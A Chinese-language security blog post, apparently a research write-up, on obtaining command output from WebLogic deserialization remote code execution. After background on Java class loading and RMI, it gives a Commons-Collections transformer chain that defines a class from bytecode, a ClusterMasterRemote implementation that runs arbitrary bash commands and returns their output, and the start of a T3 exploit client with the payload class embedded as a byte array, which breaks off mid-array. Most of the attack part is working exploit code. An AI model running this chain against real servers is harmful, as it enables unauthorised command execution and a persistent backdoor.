解决Weblogic执行命令无回显的问题

最近在研究weblogic,复现了几个CVE执行命令都没有回显,Google了一下,发现可以通过RMI来解决weblogic反序列化RCE没有命令执行结果回显,先看下基础知识。

Java类

Java是编译型语言,所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 java.lang.ClassLoader 加载类字节码,ClassLoader会调用defineClass方法来创建一个 java.lang.Class 类实例。

比如创建一个类

1package com.test.ClassLoader;
2
3public class HelloWorld {
4    public static void main(String[] args) {
5        System.out.println("hello");
6    }
7}

生成class字节后,利用Java自带的反编译工具看一下。

image

我们用java代码读取下class的字节码

 1package com.test.ClassLoader;
 2
 3import java.io.*;
 4
 5
 6public class ClassLoaderMain {
 7    public static void main(String[] args) {
 8        byte[] bs = getBytesByFile("E:\\work\\code\\java\\ClassLoaderTest\\out\\production\\ClassLoaderTest\\com\\test\\ClassLoader\\HelloWorld.class");
 9        for (int i = 0; i < bs.length; i++) {
10            System.out.print(bs[i]+",");
11        }
12    }
13    public static byte[] getBytesByFile(String pathStr) {
14        File file = new File(pathStr);
15        try {
16            FileInputStream fis = new FileInputStream(file);
17            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
18            byte[] b = new byte[1000];
19            int n;
20            while ((n = fis.read(b)) != -1) {
21                bos.write(b, 0, n);
22            }
23            fis.close();
24            byte[] data = bos.toByteArray();
25            bos.close();
26            return data;
27        } catch (Exception e) {
28            e.printStackTrace();
29        }
30        return null;
31    }
32}

ClassLoader实际上就是根据这个字节码定义的类实例。

Java的类加载机制

Java中类加载可以分为显示和隐式,通过反射或者ClassLoader类加载就是显示加载,而类名.方法名或者new一个类实例就是隐式加载。

常见类加载的几种方法有

  1. Class.forName() 实际上就是反射加载
1try {
2    Class.forName("com.test.ClassLoader.HelloWorld");
3    HelloWorld.test();
4} catch (ClassNotFoundException e) {
5    e.printStackTrace();
6}
  1. loadClass() 使用ClassLoader加载
1try {
2    ClassLoaderMain.class.getClassLoader().loadClass("com.test.ClassLoader.HelloWorld");
3    HelloWorld.test();
4} catch (ClassNotFoundException e) {
5    e.printStackTrace();
6}

ClassLoader类

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

我们可以通过自己编译写好的类,然后用字节码来自定义类。

使用字节码自定义类

如果classpath中不存在你想要的类,我们可以用字节码重写ClassLoader类的findClass方法,当找不到这个类时,调用defineClass方法的时候传入自己类的字节码的方式来向JVM中定义一个类。

 1package com.test.ClassLoader;
 2
 3public class HelloWorld {
 4    public static void main(String[] args) {
 5        System.out.println("Hello");
 6    }
 7    public static void test(){
 8        System.out.println("test");
 9    }
10}

比如我想要上面这个类,可以在编译后通过hexdump或者java来读取字节码,我仍然使用最上面的java来读取类字节码。

image

然后重写ClassLoader的findClass方法,通过反射来调用自己的test()方法。

 1package com.test.ClassLoader;
 2
 3import java.lang.reflect.Method;
 4
 5public class MyClassLoader extends ClassLoader {
 6    private static String myClassName = "com.test.ClassLoader.HelloWorld";
 7    private static byte[] bs = new byte[]{
 8
 9        -54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
10    };
11
12    public static void main(String[] args) {
13        try {
14            MyClassLoader loader = new MyClassLoader();
15            Class helloClass = loader.loadClass(myClassName);
16            Object obj = helloClass.newInstance();
17            Method method = obj.getClass().getMethod("test");
18            method.invoke(null);
19        } catch (Exception e) {
20            e.printStackTrace();
21        }
22    }
23
24    @Override
25    protected Class<?> findClass(String name) throws ClassNotFoundException {
26        if (name == myClassName) {
27            System.out.println("加载" + name + "类");
28            return defineClass(myClassName, bs, 0, bs.length);
29        }
30        return super.findClass(name);
31    }
32
33}

删掉classpath中的HelloWorld.class字节码,然后运行。

image

成功调用字节码定义的test()方法。

RMI简介

RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。一个RMI过程有以下三个参与者:

  1. RMI Registry
  2. RMI Server
  3. RMI Client

来看一个例子 RMIServer.java

 1package com.test.rmi;
 2
 3import java.net.MalformedURLException;
 4import java.rmi.Naming;
 5import java.rmi.Remote;
 6import java.rmi.RemoteException;
 7import java.rmi.registry.LocateRegistry;
 8import java.rmi.server.UnicastRemoteObject;
 9
10public class RMIServer {
11
12    public interface IRemoteHelloWorld extends Remote {
13        public String hello() throws RemoteException;
14    }
15
16    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
17
18        protected RemoteHelloWorld() throws RemoteException {
19            super();
20        }
21
22        @Override
23        public String hello() throws RemoteException {
24            System.out.println("call hello()");
25            return "helloworld";
26        }
27    }
28
29    private void start() throws Exception {
30        RemoteHelloWorld h = new RemoteHelloWorld();
31        LocateRegistry.createRegistry(1099);
32        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
33    }
34
35    public static void main(String[] args) throws Exception {
36        new RMIServer().start();
37    }
38
39}

RMIClient.java

 1package com.test.Train;
 2
 3import com.test.rmi.RMIServer;
 4
 5import java.rmi.Naming;
 6
 7public class RMIClient {
 8    public static void main(String[] args) throws Exception {
 9        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
10            Naming.lookup("rmi://127.0.0.1:1099/Hello");
11        String res = hello.hello();
12        System.out.println(res);
13    }
14}

在RMIServer代码中的Server其实包含了Registry和Server两部分,分别运行Server和Client看下。

image

image

由此可见Client远程调用了Server的hello()方法,输出了helloworld。我们回过头来看下Server的结构

  1. 定义一个IRemoteHelloWorld接口继承Remote
  2. 在接口中定义一个hello()方法 方法必须抛出 java.rmi.RemoteException 异常
  3. 定义一个RemoteHelloWorld类实现IRemoteHelloWorld接口并继承UnicastRemoteObject类
  4. 重写hello()方法
  5. 新建RemoteHelloWorld对象绑定在rmi://127.0.0.1:1099/Hello开始监听

本文不深入探讨RMI的工作原理,我们只需要知道如果Server端有继承Remote的接口,并且实现了具体方法时,我们可以在Client去调用他的方法。

RMI和Weblogic的结合

到目前为止,我们知道可以通过ClassLoader类和字节码来定义我们自己的类,也知道可以通过RMI来调用远程服务器的方法。那么在weblogic之中,RMI有什么妙用?

之前写的几篇关于Weblogic的反序列化RCE因为没有回显结果,都是通过curl或者dnslog来验证的,而看了上文之后,我们可以通过common-collection反序列化调用ClassLoader,通过字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。

那么现在有几个问题:

  1. defineClass需要ClassLoader的子类才能拿到
  2. 具体应该实现哪个RMI接口类呢?
  3. common-collection构造的问题

因为ClassLoader是一个abstract,所以我们只能从他的子类中寻找defineClass(),idea快捷键CTRL ALT B 或者 CTRL+H 可以寻找子类,我找到了以下几个

1jxxload_help.PathVFSJavaLoader#loadClassFromBytes
2org.python.core.BytecodeLoader1#loadClassFromBytes
3sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
4java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
5org.mozilla.classfile.DefiningClassLoader#defineClass

这几个的defineClass()没有做检查,可以直接定义类。weblogic_cmd用的是最后一个。

然后我们再来看应该实现哪个RMI接口,可以直接在Remote类按快捷键寻找,378个……

image

注意我们要找的是interface,并且我们要返回命令执行的结果,所以方法的返回类型应该为String,并且方法必须抛出 java.rmi.RemoteException 异常。

image

随便找了几个

1weblogic.ejb.QueryHome
2weblogic.ejb20.interfaces.RemoteHome#getIsIdenticalKey
3weblogic.jndi.internal.NamingNode#getNameInNamespace(java.lang.String)
4weblogic.cluster.singleton.ClusterMasterRemote

weblogic_cmd用的就是最后一个,我们也用最后一个来构造

 1package com.test.payload;
 2
 3import weblogic.cluster.singleton.ClusterMasterRemote;
 4
 5import javax.naming.Context;
 6import javax.naming.InitialContext;
 7import javax.naming.NamingException;
 8import java.io.BufferedReader;
 9import java.io.InputStreamReader;
10import java.rmi.RemoteException;
11import java.util.ArrayList;
12import java.util.List;
13
14public class RemoteImpl implements ClusterMasterRemote {
15
16    public static void main(String[] args) {
17        RemoteImpl remote = new RemoteImpl();
18        try {
19            Context context = new InitialContext();
20            context.rebind("Y4er",remote);
21        } catch (Exception e) {
22            e.printStackTrace();
23        }
24    }
25
26
27    @Override
28    public void setServerLocation(String cmd, String args) throws RemoteException {
29
30    }
31
32
33    @Override
34    public String getServerLocation(String cmd) throws RemoteException {
35        try {
36
37            List<String> cmds = new ArrayList<String>();
38
39            cmds.add("/bin/bash");
40            cmds.add("-c");
41            cmds.add(cmd);
42
43            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
44            processBuilder.redirectErrorStream(true);
45            Process proc = processBuilder.start();
46
47            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
48            StringBuffer sb = new StringBuffer();
49
50            String line;
51            while ((line = br.readLine()) != null) {
52                sb.append(line).append("\n");
53            }
54
55            return sb.toString();
56        } catch (Exception e) {
57            return e.getMessage();
58        }
59    }
60}

最后一个问题就是common-collection的transform[]构造的问题,我们要通过反射的形式调用DefiningClassLoader的defineClass()去定义我们自己的类,然后还是反射调用自己类的main方法。也就是如下。

 1// common-collection1 构造transformers 定义自己的RMI接口
 2Transformer[] transformers = new Transformer[]{
 3    new ConstantTransformer(DefiningClassLoader.class),
 4    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
 5    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
 6    new InvokerTransformer("defineClass",
 7                           new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
 8    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
 9    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
10    new ConstantTransformer(new HashSet())};

接下来将我们自己写好的RMI接口类生成字节码之后构造payload

 1package com.test;
 2
 3import com.supeream.serial.Reflections;
 4import com.supeream.serial.SerialDataGenerator;
 5import com.supeream.serial.Serializables;
 6import com.supeream.ssl.WeblogicTrustManager;
 7import com.supeream.weblogic.T3ProtocolOperation;
 8import org.apache.commons.collections.Transformer;
 9import org.apache.commons.collections.functors.ChainedTransformer;
10import org.apache.commons.collections.functors.ConstantTransformer;
11import org.apache.commons.collections.functors.InvokerTransformer;
12import org.apache.commons.collections.map.LazyMap;
13import org.mozilla.classfile.DefiningClassLoader;
14import weblogic.cluster.singleton.ClusterMasterRemote;
15import weblogic.corba.utils.MarshalledObject;
16import weblogic.jndi.Environment;
17
18import javax.naming.Context;
19import java.io.ByteArrayOutputStream;
20import java.io.ObjectOutputStream;
21import java.lang.reflect.InvocationHandler;
22import java.lang.reflect.Proxy;
23import java.util.HashMap;
24import java.util.HashSet;
25import java.util.Map;
26
27public class Main {
28    private static String host = "172.16.2.129";
29    private static String port = "7001";
30    private static final String classname = "com.test.payload.RemoteImpl";
31    private static final byte[] bs = new byte[]{
32        -54, -2, -70, -66, 0, 0, 0, 50, 0, -116, 10, 0, 32, 0, 83, 7, 0, 84, 10, 0, 2, 0, 83, 7, 0, 85, 10, 0, 4, 0, 83, 8, 0, 86, 11, 0, 87, 0, 88, 10, 0, 2, 0, 89, 7, 0, 90, 10, 0, 9, 0, 91, 7, 0, 92, 10, 0, 11, 0, 83, 8, 0, 93, 11, 0, 94, 0, 95, 8, 0, 96, 7, 0, 97, 10, 0, 16, 0, 98, 10, 0, 16, 0, 99, 10, 0, 16, 0, 100, 7, 0, 101, 7, 0, 102, 10, 0, 103, 0, 104, 10, 0, 21, 0, 105, 10, 0, 20, 0, 106, 7, 0, 107, 10, 0, 25, 0, 83, 10, 0, 20, 0, 108, 10, 0, 25, 0, 109, 8, 0, 110, 10, 0, 25, 0, 111, 10, 0, 9, 0, 112, 7, 0, 113, 7, 0, 114, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 29, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 99, 111, 110, 116, 101, 120, 116, 1, 0, 22, 76, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 114, 101, 109, 111, 116, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 48, 7, 0, 84, 7, 0, 90, 1, 0, 17, 115, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 115, 1, 0, 17, 103, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 1, 0, 14, 112, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 26, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 4, 112, 114, 111, 99, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 2, 98, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 2, 115, 98, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 22, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 121, 112, 101, 84, 97, 98, 108, 101, 1, 0, 36, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 7, 0, 116, 7, 0, 117, 7, 0, 97, 7, 0, 118, 7, 0, 101, 7, 0, 107, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 36, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 46, 106, 97, 118, 97, 32, 102, 114, 111, 109, 32, 73, 110, 112, 117, 116, 70, 105, 108, 101, 79, 98, 106, 101, 99, 116, 12, 0, 34, 0, 35, 1, 0, 27, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 1, 0, 27, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 73, 110, 105, 116, 105, 97, 108, 67, 111, 110, 116, 101, 120, 116, 1, 0, 4, 89, 52, 101, 114, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 60, 0, 61, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 122, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 76, 105, 115, 116, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 7, 0, 117, 12, 0, 123, 0, 124, 1, 0, 2, 45, 99, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 12, 0, 34, 0, 125, 12, 0, 126, 0, 127, 12, 0, -128, 0, -127, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 7, 0, 118, 12, 0, -126, 0, -125, 12, 0, 34, 0, -124, 12, 0, 34, 0, -123, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, -122, 0, -121, 12, 0, -120, 0, -119, 1, 0, 1, 10, 12, 0, -118, 0, -121, 12, 0, -117, 0, -121, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 46, 119, 101, 98, 108, 111, 103, 105, 99, 47, 99, 108, 117, 115, 116, 101, 114, 47, 115, 105, 110, 103, 108, 101, 116, 111, 110, 47, 67, 108, 117, 115, 116, 101, 114, 77, 97, 115, 116, 101, 114, 82, 101, 109, 111, 116, 101, 1, 0, 24, 106, 97, 118, 97, 47, 114, 109, 105, 47, 82, 101, 109, 111, 116, 101, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 14, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 1, 0, 6, 114, 101, 98, 105, 110, 100, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 3, 97, 100, 100, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 90, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 41, 86, 1, 0, 19, 114, 101, 100, 105, 114, 101, 99, 116, 69, 114, 114, 111, 114, 83, 116, 114, 101, 97, 109, 1, 0, 29, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 10, 103, 101, 116, 77, 101, 115, 115, 97, 103, 101, 0, 33, 0, 2, 0, 32, 0, 1, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 14, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 9, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 0, -81, 0, 3, 0, 3, 0, 0, 0, 42, -69, 0, 2, 89, -73, 0, 3, 76, -69, 0, 4, 89, -73, 0, 5, 77, 44, 18, 6, 43, -71, 0, 7, 3, 0, 43, 42, 3, 50, -74, 0, 8, 87, -89, 0, 8, 77, 44, -74, 0, 10, -79, 0, 1, 0, 8, 0, 33, 0, 36, 0, 9, 0, 3, 0, 37, 0, 0, 0, 34, 0, 8, 0, 0, 0, 17, 0, 8, 0, 19, 0, 16, 0, 20, 0, 25, 0, 21, 0, 33, 0, 24, 0, 36, 0, 22, 0, 37, 0, 23, 0, 41, 0, 25, 0, 38, 0, 0, 0, 42, 0, 4, 0, 16, 0, 17, 0, 43, 0, 44, 0, 2, 0, 37, 0, 4, 0, 45, 0, 46, 0, 2, 0, 0, 0, 42, 0, 47, 0, 48, 0, 0, 0, 8, 0, 34, 0, 49, 0, 40, 0, 1, 0, 50, 0, 0, 0, 19, 0, 2, -1, 0, 36, 0, 2, 7, 0, 51, 7, 0, 52, 0, 1, 7, 0, 53, 4, 0, 1, 0, 54, 0, 55, 0, 2, 0, 36, 0, 0, 0, 63, 0, 0, 0, 3, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 31, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 1, 0, 39, 0, 40, 0, 0, 0, 0, 0, 1, 0, 56, 0, 57, 0, 1, 0, 0, 0, 1, 0, 47, 0, 57, 0, 2, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 60, 0, 61, 0, 2, 0, 36, 0, 0, 1, 126, 0, 5, 0, 8, 0, 0, 0, 124, -69, 0, 11, 89, -73, 0, 12, 77, 44, 18, 13, -71, 0, 14, 2, 0, 87, 44, 18, 15, -71, 0, 14, 2, 0, 87, 44, 43, -71, 0, 14, 2, 0, 87, -69, 0, 16, 89, 44, -73, 0, 17, 78, 45, 4, -74, 0, 18, 87, 45, -74, 0, 19, 58, 4, -69, 0, 20, 89, -69, 0, 21, 89, 25, 4, -74, 0, 22, -73, 0, 23, -73, 0, 24, 58, 5, -69, 0, 25, 89, -73, 0, 26, 58, 6, 25, 5, -74, 0, 27, 89, 58, 7, -58, 0, 19, 25, 6, 25, 7, -74, 0, 28, 18, 29, -74, 0, 28, 87, -89, -1, -24, 25, 6, -74, 0, 30, -80, 77, 44, -74, 0, 31, -80, 0, 1, 0, 0, 0, 117, 0, 118, 0, 9, 0, 4, 0, 37, 0, 0, 0, 58, 0, 14, 0, 0, 0, 38, 0, 8, 0, 40, 0, 17, 0, 41, 0, 26, 0, 42, 0, 34, 0, 44, 0, 43, 0, 45, 0, 49, 0, 46, 0, 55, 0, 48, 0, 76, 0, 49, 0, 85, 0, 52, 0, 96, 0, 53, 0, 112, 0, 56, 0, 118, 0, 57, 0, 119, 0, 58, 0, 38, 0, 0, 0, 92, 0, 9, 0, 8, 0, 110, 0, 62, 0, 63, 0, 2, 0, 43, 0, 75, 0, 64, 0, 65, 0, 3, 0, 55, 0, 63, 0, 66, 0, 67, 0, 4, 0, 76, 0, 42, 0, 68, 0, 69, 0, 5, 0, 85, 0, 33, 0, 70, 0, 71, 0, 6, 0, 93, 0, 25, 0, 72, 0, 57, 0, 7, 0, 119, 0, 5, 0, 45, 0, 46, 0, 2, 0, 0, 0, 124, 0, 39, 0, 40, 0, 0, 0, 0, 0, 124, 0, 56, 0, 57, 0, 1, 0, 73, 0, 0, 0, 12, 0, 1, 0, 8, 0, 110, 0, 62, 0, 74, 0, 2, 0, 50, 0, 0, 0, 52, 0, 3, -1, 0, 85, 0, 7, 7, 0, 52, 7, 0, 75, 7, 0, 76, 7, 0, 77, 7, 0, 78, 7, 0, 79, 7, 0, 80, 0, 0, -4, 0, 26, 7, 0, 75, -1, 0, 5, 0, 2, 